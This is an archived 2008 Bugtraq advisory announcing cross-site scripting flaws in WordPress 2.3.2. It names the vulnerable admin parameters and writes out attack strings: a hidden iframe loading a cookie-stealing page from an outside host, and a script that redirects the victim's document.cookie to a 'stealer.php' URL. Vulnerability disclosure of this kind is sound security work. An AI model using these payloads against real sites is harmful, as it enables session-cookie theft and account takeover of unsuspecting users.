bugtraq - WordPress Multiple Cross-Site Scripting Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 7 Mar 2008 03:50:36 -0000
From: DoZ@...kersCenter.com
To: bugtraq@...urityfocus.com
Subject: WordPress Multiple Cross-Site Scripting Vulnerabilities

Vulnerabilities in Wordpress, which can be exploited by malicious people to conduct cross-site scripting and script insertion attacks.Input passed to certain parameters in various scripts isn't properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML or script code in a user's browser session in context of an affected site by tricking the user into visiting a malicious website or follow a specially crafted link.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Hackers Center Security Group (http://www.hackerscenter.com)

Credit: DoZ Class: Input Validation Error

Remote: Yes

Product: WordPress

Version: 2.3.2

Vendor: http://www.WordPress.com

Attackers can exploit these issues via a web client.

Url: (1 & 2)

1. Our Testing Example:

http://site.wordpress.com/wp-admin/users.php?update=invite&inviteemail=Attack_Code

Example of Attack String: ">< iframe src=http://members.lycos.co.uk/Account/CookieMonster.php width=0 height=0>

< /script>

2. Our Testing Example: (Works If Admin is already logged in)

http://site.wordpress.com/wp-admin/invites.php?result=sent&to=%22%3E%3Cscript%3Ealert

(document.cookie);%3C/script%3E

Example of Attack String:

< script>document.location="http://www.mysite/stealer.php?cookie="+document.cookie;</script>

Refrence:

http://www.hackerscenter.com/index.php?/Latest-posts/114-WordPress-Multiple-Cross-Site-Scripting-Vulnerabilities.html?id=114

Video:

http://www.hackerscenter.com/public/%5F/wordpress/Wordpress.html